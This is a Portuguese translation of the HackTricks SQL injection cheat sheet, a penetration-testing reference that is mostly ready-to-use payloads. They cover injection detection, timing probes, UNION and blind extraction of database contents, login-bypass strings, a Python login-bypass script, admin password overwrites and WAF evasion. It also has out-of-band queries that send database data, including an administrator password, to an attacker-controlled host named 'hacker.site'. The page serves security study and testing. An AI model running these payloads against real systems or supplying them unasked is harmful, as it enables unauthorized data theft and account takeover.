mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-22 11:03:24 +00:00
526 lines
30 KiB
Markdown
526 lines
30 KiB
Markdown
# Injeção de SQL
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## O que é injeção de SQL?
|
||
|
||
Uma **injeção de SQL** é uma falha de segurança que permite que atacantes **interfiram em consultas de banco de dados** de um aplicativo. Essa vulnerabilidade pode permitir que os atacantes **visualizem**, **modifiquem** ou **excluam** dados aos quais não deveriam ter acesso, incluindo informações de outros usuários ou quaisquer dados aos quais o aplicativo possa acessar. Tais ações podem resultar em alterações permanentes na funcionalidade ou conteúdo do aplicativo ou até mesmo comprometer o servidor ou negar o serviço.
|
||
|
||
|
||
## Detecção do ponto de entrada
|
||
|
||
Quando um site parece estar **vulnerável a injeção de SQL (SQLi)** devido a respostas incomuns do servidor a entradas relacionadas ao SQLi, o **primeiro passo** é entender como **injetar dados na consulta sem interrompê-la**. Isso requer identificar o método para **escapar do contexto atual** de forma eficaz.
|
||
Aqui estão alguns exemplos úteis:
|
||
```
|
||
[Nothing]
|
||
'
|
||
"
|
||
`
|
||
')
|
||
")
|
||
`)
|
||
'))
|
||
"))
|
||
`))
|
||
```
|
||
Então, você precisa saber como **corrigir a consulta para que não haja erros**. Para corrigir a consulta, você pode **inserir** dados para que a **consulta anterior aceite os novos dados**, ou simplesmente **inserir** seus dados e **adicionar um símbolo de comentário no final**.
|
||
|
||
_Observe que se você puder ver mensagens de erro ou identificar diferenças quando uma consulta está funcionando e quando não está, esta fase será mais fácil._
|
||
|
||
### **Comentários**
|
||
```sql
|
||
MySQL
|
||
#comment
|
||
-- comment [Note the space after the double dash]
|
||
/*comment*/
|
||
/*! MYSQL Special SQL */
|
||
|
||
PostgreSQL
|
||
--comment
|
||
/*comment*/
|
||
|
||
MSQL
|
||
--comment
|
||
/*comment*/
|
||
|
||
Oracle
|
||
--comment
|
||
|
||
SQLite
|
||
--comment
|
||
/*comment*/
|
||
|
||
HQL
|
||
HQL does not support comments
|
||
```
|
||
### Confirmação com operações lógicas
|
||
|
||
Um método confiável para confirmar uma vulnerabilidade de injeção de SQL envolve a execução de uma **operação lógica** e observar os resultados esperados. Por exemplo, um parâmetro GET como `?username=Peter` que produz conteúdo idêntico quando modificado para `?username=Peter' or '1'='1` indica uma vulnerabilidade de injeção de SQL.
|
||
|
||
Da mesma forma, a aplicação de **operações matemáticas** serve como uma técnica de confirmação eficaz. Por exemplo, se acessar `?id=1` e `?id=2-1` produzirem o mesmo resultado, isso é indicativo de uma injeção de SQL.
|
||
|
||
Exemplos demonstrando a confirmação com operações lógicas:
|
||
```
|
||
page.asp?id=1 or 1=1 -- results in true
|
||
page.asp?id=1' or 1=1 -- results in true
|
||
page.asp?id=1" or 1=1 -- results in true
|
||
page.asp?id=1 and 1=2 -- results in false
|
||
```
|
||
Esta lista de palavras foi criada para tentar **confirmar SQLinjections** da maneira proposta:
|
||
|
||
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
|
||
|
||
### Confirmando com Timing
|
||
|
||
Em alguns casos, você **não notará nenhuma mudança** na página que está testando. Portanto, uma boa maneira de **descobrir injeções de SQL cegas** é fazer o BD realizar ações que terão um **impacto no tempo** que a página precisa para carregar.\
|
||
Portanto, vamos concatenar na consulta SQL uma operação que levará muito tempo para ser concluída:
|
||
```
|
||
MySQL (string concat and logical ops)
|
||
1' + sleep(10)
|
||
1' and sleep(10)
|
||
1' && sleep(10)
|
||
1' | sleep(10)
|
||
|
||
PostgreSQL (only support string concat)
|
||
1' || pg_sleep(10)
|
||
|
||
MSQL
|
||
1' WAITFOR DELAY '0:0:10'
|
||
|
||
Oracle
|
||
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
|
||
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
|
||
|
||
SQLite
|
||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||
```
|
||
Em alguns casos, as **funções de sleep não serão permitidas**. Em vez de usar essas funções, você pode fazer a consulta **realizar operações complexas** que levarão vários segundos. _Exemplos dessas técnicas serão comentados separadamente em cada tecnologia (se houver)_.
|
||
|
||
### Identificando o Back-end
|
||
|
||
A melhor maneira de identificar o back-end é tentar executar funções dos diferentes back-ends. Você pode usar as _**funções de sleep**_ da seção anterior ou estas (tabela de [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||
```bash
|
||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||
["connection_id()=connection_id()" ,"MYSQL"],
|
||
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
|
||
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
|
||
["@@CONNECTIONS>0" ,"MSSQL"],
|
||
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
|
||
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
|
||
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
|
||
["ROWNUM=ROWNUM" ,"ORACLE"],
|
||
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
|
||
["LNNVL(0=123)" ,"ORACLE"],
|
||
["5::int=5" ,"POSTGRESQL"],
|
||
["5::integer=5" ,"POSTGRESQL"],
|
||
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
|
||
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
|
||
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
|
||
["current_database()=current_database()" ,"POSTGRESQL"],
|
||
["sqlite_version()=sqlite_version()" ,"SQLITE"],
|
||
["last_insert_rowid()>1" ,"SQLITE"],
|
||
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
|
||
["val(cvar(1))=1" ,"MSACCESS"],
|
||
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
|
||
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
|
||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||
```
|
||
Também, se tiver acesso à saída da consulta, você poderia fazer com que **imprimisse a versão do banco de dados**.
|
||
|
||
{% hint style="info" %}
|
||
A continuação vamos discutir diferentes métodos para explorar diferentes tipos de Injeção de SQL. Vamos usar o MySQL como exemplo.
|
||
{% endhint %}
|
||
|
||
### Identificando com PortSwigger
|
||
|
||
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
|
||
|
||
## Explorando Baseado em União
|
||
|
||
### Detectando o número de colunas
|
||
|
||
Se você puder ver a saída da consulta, esta é a melhor maneira de explorá-la.\
|
||
Primeiramente, precisamos descobrir o **número** de **colunas** que a **solicitação inicial** está retornando. Isso ocorre porque **ambas as consultas devem retornar o mesmo número de colunas**.\
|
||
Dois métodos são tipicamente usados para este propósito:
|
||
|
||
#### Order/Group by
|
||
|
||
Para determinar o número de colunas em uma consulta, ajuste incrementalmente o número usado nas cláusulas **ORDER BY** ou **GROUP BY** até receber uma resposta falsa. Apesar das funcionalidades distintas de **GROUP BY** e **ORDER BY** dentro do SQL, ambos podem ser utilizados de forma idêntica para determinar a contagem de colunas da consulta.
|
||
```sql
|
||
1' ORDER BY 1--+ #True
|
||
1' ORDER BY 2--+ #True
|
||
1' ORDER BY 3--+ #True
|
||
1' ORDER BY 4--+ #False - Query is only using 3 columns
|
||
#-1' UNION SELECT 1,2,3--+ True
|
||
```
|
||
|
||
```sql
|
||
1' GROUP BY 1--+ #True
|
||
1' GROUP BY 2--+ #True
|
||
1' GROUP BY 3--+ #True
|
||
1' GROUP BY 4--+ #False - Query is only using 3 columns
|
||
#-1' UNION SELECT 1,2,3--+ True
|
||
```
|
||
#### UNION SELECT
|
||
|
||
Selecione mais e mais valores nulos até que a consulta esteja correta:
|
||
```sql
|
||
1' UNION SELECT null-- - Not working
|
||
1' UNION SELECT null,null-- - Not working
|
||
1' UNION SELECT null,null,null-- - Worked
|
||
```
|
||
_É recomendável usar valores `null`, pois em alguns casos o tipo das colunas de ambos os lados da consulta deve ser o mesmo e `null` é válido em todos os casos._
|
||
|
||
### Extrair nomes de bancos de dados, nomes de tabelas e nomes de colunas
|
||
|
||
Nos exemplos a seguir, vamos recuperar o nome de todos os bancos de dados, o nome da tabela de um banco de dados, os nomes das colunas da tabela:
|
||
```sql
|
||
#Database names
|
||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||
|
||
#Tables of a database
|
||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
|
||
|
||
#Column names
|
||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||
```
|
||
_Existe uma maneira diferente de descobrir esses dados em cada banco de dados diferente, mas a metodologia é sempre a mesma._
|
||
|
||
## Explorando a Injeção Baseada em União Oculta
|
||
|
||
Quando a saída de uma consulta é visível, mas uma injeção baseada em união parece inatingível, isso significa a presença de uma **injeção baseada em união oculta**. Esse cenário frequentemente leva a uma situação de injeção cega. Para transformar uma injeção cega em uma baseada em união, a consulta de execução no backend precisa ser discernida.
|
||
|
||
Isso pode ser realizado por meio do uso de técnicas de injeção cega juntamente com as tabelas padrão específicas do seu Sistema de Gerenciamento de Banco de Dados (DBMS) de destino. Para entender essas tabelas padrão, é aconselhável consultar a documentação do DBMS de destino.
|
||
|
||
Uma vez que a consulta foi extraída, é necessário adaptar sua carga útil para fechar com segurança a consulta original. Posteriormente, uma consulta de união é anexada à sua carga útil, facilitando a exploração da injeção baseada em união recém-acessível.
|
||
|
||
Para obter insights mais abrangentes, consulte o artigo completo disponível em [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||
|
||
## Explorando Baseado em Erros
|
||
|
||
Se por algum motivo você **não pode** ver a **saída** da **consulta** mas consegue **ver as mensagens de erro**, você pode fazer com que essas mensagens de erro **exfiltrem** dados do banco de dados.\
|
||
Seguindo um fluxo semelhante ao da exploração Baseada em União, você pode conseguir extrair o banco de dados.
|
||
```sql
|
||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||
```
|
||
## Explorando Blind SQLi
|
||
|
||
Neste caso, você não consegue ver os resultados da consulta ou os erros, mas consegue distinguir quando a consulta retorna uma resposta verdadeira ou falsa porque existem conteúdos diferentes na página.\
|
||
Neste caso, você pode abusar desse comportamento para extrair o banco de dados caractere por caractere:
|
||
```sql
|
||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||
```
|
||
## Explorando Error Blind SQLi
|
||
|
||
Este é o **mesmo caso que antes** mas em vez de distinguir entre uma resposta verdadeira/falsa da consulta, você pode **distinguir se** há um **erro** na consulta SQL ou não (talvez porque o servidor HTTP falhe). Portanto, neste caso, você pode forçar um erro SQL cada vez que acertar o caractere:
|
||
```sql
|
||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||
```
|
||
## Explorando SQLi Baseado em Tempo
|
||
|
||
Neste caso, **não há** nenhuma maneira de **distinguir** a **resposta** da consulta com base no contexto da página. No entanto, você pode fazer a página **demorar mais para carregar** se o caractere adivinhado estiver correto. Já vimos essa técnica sendo usada anteriormente para [confirmar uma vulnerabilidade de SQLi](./#confirming-with-timing).
|
||
```sql
|
||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||
```
|
||
## Consultas em Pilha
|
||
|
||
Você pode usar consultas em pilha para **executar várias consultas em sucessão**. Observe que, embora as consultas subsequentes sejam executadas, os **resultados** **não são retornados para a aplicação**. Portanto, essa técnica é principalmente útil em relação a **vulnerabilidades cegas** onde você pode usar uma segunda consulta para acionar uma pesquisa de DNS, erro condicional ou atraso de tempo.
|
||
|
||
**Oracle** não suporta **consultas em pilha**. **MySQL, Microsoft** e **PostgreSQL** as suportam: `CONSULTA-1-AQUI; CONSULTA-2-AQUI`
|
||
|
||
## Exploração Fora de Banda
|
||
|
||
Se **nenhum outro** método de exploração **funcionar**, você pode tentar fazer com que o **banco de dados exfiltre** as informações para um **host externo** controlado por você. Por exemplo, por meio de consultas DNS:
|
||
```sql
|
||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||
```
|
||
### Exfiltração de dados fora de banda via XXE
|
||
```sql
|
||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||
```
|
||
## Exploração Automatizada
|
||
|
||
Consulte a [SQLMap Cheetsheat](sqlmap/) para explorar uma vulnerabilidade de SQLi com [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||
|
||
## Informações específicas da tecnologia
|
||
|
||
Já discutimos todas as maneiras de explorar uma vulnerabilidade de Injeção de SQL. Encontre mais truques dependentes da tecnologia do banco de dados neste livro:
|
||
|
||
* [MS Access](ms-access-sql-injection.md)
|
||
* [MSSQL](mssql-injection.md)
|
||
* [MySQL](mysql-injection/)
|
||
* [Oracle](oracle-injection.md)
|
||
* [PostgreSQL](postgresql-injection/)
|
||
|
||
Ou você encontrará **muitos truques relacionados a: MySQL, PostgreSQL, Oracle, MSSQL, SQLite e HQL em** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||
|
||
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## Bypass de Autenticação
|
||
|
||
Lista para tentar burlar a funcionalidade de login:
|
||
|
||
{% content-ref url="../login-bypass/sql-login-bypass.md" %}
|
||
[sql-login-bypass.md](../login-bypass/sql-login-bypass.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Bypass de Autenticação de Hash Bruto
|
||
```sql
|
||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||
```
|
||
Esta consulta demonstra uma vulnerabilidade quando o MD5 é usado com true para saída bruta em verificações de autenticação, tornando o sistema suscetível a injeção de SQL. Os atacantes podem explorar isso criando entradas que, ao serem hashadas, produzem partes inesperadas de comandos SQL, resultando em acesso não autorizado.
|
||
```sql
|
||
md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
|
||
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!
|
||
```
|
||
### Bypass de Autenticação por Injeção de Hash
|
||
```sql
|
||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||
```
|
||
**Lista recomendada**:
|
||
|
||
Você deve usar como nome de usuário cada linha da lista e sempre a senha: _**Pass1234.**_\
|
||
_(Esses payloads também estão incluídos na grande lista mencionada no início desta seção)_
|
||
|
||
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
|
||
|
||
### GBK Autenticação Bypass
|
||
|
||
SE ' está sendo escapado, você pode usar %A8%27 e quando ' for escapado, será criado: 0xA80x5c0x27 (_╘'_)
|
||
```sql
|
||
%A8%27 OR 1=1;-- 2
|
||
%8C%A8%27 OR 1=1-- 2
|
||
%bf' or 1=1 -- --
|
||
```
|
||
Script Python:
|
||
```python
|
||
import requests
|
||
url = "http://example.com/index.php"
|
||
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
|
||
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||
print r.text
|
||
```
|
||
### Injeção Poliglota (multicontexto)
|
||
```sql
|
||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||
```
|
||
## Instrução de Inserção
|
||
|
||
### Modificar senha de objeto/usuário existente
|
||
|
||
Para fazer isso, você deve tentar **criar um novo objeto com o nome do "objeto principal"** (provavelmente **admin** no caso de usuários) modificando algo:
|
||
|
||
* Criar usuário com o nome: **AdMIn** (letras maiúsculas e minúsculas)
|
||
* Criar um usuário com o nome: **admin=**
|
||
* **Ataque de Truncamento SQL** (quando há algum tipo de **limite de comprimento** no nome de usuário ou e-mail) --> Criar usuário com o nome: **admin \[muitos espaços] a**
|
||
|
||
#### Ataque de Truncamento SQL
|
||
|
||
Se o banco de dados for vulnerável e o número máximo de caracteres para o nome de usuário for, por exemplo, 30 e você deseja se passar pelo usuário **admin**, tente criar um nome de usuário chamado: "_admin \[30 espaços] a_" e qualquer senha.
|
||
|
||
O banco de dados irá **verificar** se o **nome de usuário** **existe** no banco de dados. Se **não existir**, ele irá **cortar** o **nome de usuário** para o **número máximo de caracteres permitidos** (neste caso para: "_admin \[25 espaços]_") e então **removerá automaticamente todos os espaços no final atualizando** no banco de dados o usuário "**admin**" com a **nova senha** (algum erro pode aparecer, mas isso não significa que não funcionou).
|
||
|
||
Mais informações: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||
|
||
_Nota: Este ataque não funcionará mais conforme descrito acima nas últimas instalações do MySQL. Embora as comparações ainda ignorem espaços em branco no final por padrão, tentar inserir uma string que seja mais longa que o comprimento de um campo resultará em um erro e a inserção falhará. Para mais informações sobre isso, verifique: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
|
||
|
||
### Verificação baseada em tempo de inserção MySQL
|
||
|
||
Adicione tantos `','',''` quanto considerar necessário para sair da declaração VALUES. Se houver um atraso na execução, você tem uma Injeção SQL.
|
||
```sql
|
||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||
```
|
||
### ON DUPLICATE KEY UPDATE
|
||
|
||
A cláusula `ON DUPLICATE KEY UPDATE` no MySQL é utilizada para especificar ações para o banco de dados tomar quando uma tentativa é feita de inserir uma linha que resultaria em um valor duplicado em um índice ÚNICO ou CHAVE PRIMÁRIA. O exemplo a seguir demonstra como esse recurso pode ser explorado para modificar a senha de uma conta de administrador:
|
||
|
||
Exemplo de Injeção de Payload:
|
||
|
||
Um payload de injeção pode ser elaborado da seguinte forma, onde duas linhas são tentadas a serem inseridas na tabela `users`. A primeira linha é um engodo, e a segunda linha visa um e-mail de administrador existente com a intenção de atualizar a senha:
|
||
```sql
|
||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||
```
|
||
### Extrair informações
|
||
|
||
#### Criando 2 contas ao mesmo tempo
|
||
|
||
Ao tentar criar um novo usuário e nome de usuário, senha e e-mail são necessários:
|
||
```
|
||
SQLi payload:
|
||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||
|
||
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
|
||
```
|
||
#### Usando decimal ou hexadecimal
|
||
|
||
Com esta técnica, você pode extrair informações criando apenas 1 conta. É importante notar que você não precisa comentar nada.
|
||
|
||
Usando **hex2dec** e **substr**:
|
||
```sql
|
||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
```
|
||
Para obter o texto, você pode usar:
|
||
```python
|
||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||
```
|
||
Usando **hex** e **replace** (e **substr**):
|
||
```sql
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
|
||
#Full ascii uppercase and lowercase replace:
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
```
|
||
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## Injeção de SQL Roteada
|
||
|
||
A injeção de SQL roteada é uma situação em que a consulta injetável não é aquela que fornece a saída, mas a saída da consulta injetável vai para a consulta que fornece a saída. ([Do Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||
|
||
Exemplo:
|
||
```
|
||
#Hex of: -1' union select login,password from users-- a
|
||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||
```
|
||
## Bypass de WAF
|
||
|
||
[By-passes iniciais a partir daqui](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||
|
||
### Bypass sem espaços
|
||
|
||
Sem Espaço (%20) - bypass usando alternativas de espaçamento
|
||
```sql
|
||
?id=1%09and%091=1%09--
|
||
?id=1%0Dand%0D1=1%0D--
|
||
?id=1%0Cand%0C1=1%0C--
|
||
?id=1%0Band%0B1=1%0B--
|
||
?id=1%0Aand%0A1=1%0A--
|
||
?id=1%A0and%A01=1%A0--
|
||
```
|
||
### No Whitespace - bypass usando comentários
|
||
|
||
Em alguns casos, os filtros de entrada podem bloquear palavras-chave específicas, como "UNION" ou "SELECT". No entanto, é possível contornar esses filtros usando comentários para dividir as palavras-chave. Por exemplo, em vez de usar "UNION", você pode usar "UNION/**/ALL" para evitar a detecção. Certifique-se de testar diferentes variações para encontrar a que funciona melhor no contexto específico.
|
||
```sql
|
||
?id=1/*comment*/and/**/1=1/**/--
|
||
```
|
||
### Sem Espaços - contornando usando parênteses
|
||
|
||
Neste desafio, o objetivo é contornar a restrição de não poder usar espaços em uma injeção SQL, utilizando parênteses para separar os comandos. Isso pode ser útil em situações em que os espaços são filtrados, mas outros caracteres especiais são permitidos.
|
||
```sql
|
||
?id=(1)and(1)=(1)--
|
||
```
|
||
### Sem vírgulas de bypass
|
||
|
||
Sem vírgulas - bypass usando OFFSET, FROM e JOIN
|
||
```
|
||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||
```
|
||
### Desvios Genéricos
|
||
|
||
Lista negra usando palavras-chave - desviar usando maiúsculas/minúsculas
|
||
```sql
|
||
?id=1 AND 1=1#
|
||
?id=1 AnD 1=1#
|
||
?id=1 aNd 1=1#
|
||
```
|
||
Lista negra usando palavras-chave sem diferenciação de maiúsculas e minúsculas - contornando usando um operador equivalente
|
||
```
|
||
AND -> && -> %26%26
|
||
OR -> || -> %7C%7C
|
||
= -> LIKE,REGEXP,RLIKE, not < and not >
|
||
> X -> not between 0 and X
|
||
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
|
||
```
|
||
### Notação Científica para Bypass de WAF
|
||
|
||
Você pode encontrar uma explicação mais detalhada desse truque no [blog da gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||
Basicamente, você pode usar a notação científica de maneiras inesperadas para contornar o WAF:
|
||
```
|
||
-1' or 1.e(1) or '1'='1
|
||
-1' or 1337.1337e1 or '1'='1
|
||
' or 1.e('')=
|
||
```
|
||
### Bypassar Restrição de Nomes de Colunas
|
||
|
||
Primeiramente, observe que se a **consulta original e a tabela de onde você deseja extrair a flag tiverem a mesma quantidade de colunas**, você pode simplesmente fazer: `0 UNION SELECT * FROM flag`
|
||
|
||
É possível **acessar a terceira coluna de uma tabela sem usar seu nome** usando uma consulta como a seguinte: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, então em uma injeção de SQL isso ficaria assim:
|
||
```bash
|
||
# This is an example with 3 columns that will extract the column number 3
|
||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||
```
|
||
Ou usando um **bypass de vírgula**:
|
||
```bash
|
||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||
```
|
||
Este truque foi retirado de [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||
|
||
### Ferramentas sugeridas para bypass de WAF
|
||
|
||
{% embed url="https://github.com/m4ll0k/Atlas" %}
|
||
|
||
## Outros Guias
|
||
|
||
* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||
|
||
## Lista de Detecção de Brute-Force
|
||
|
||
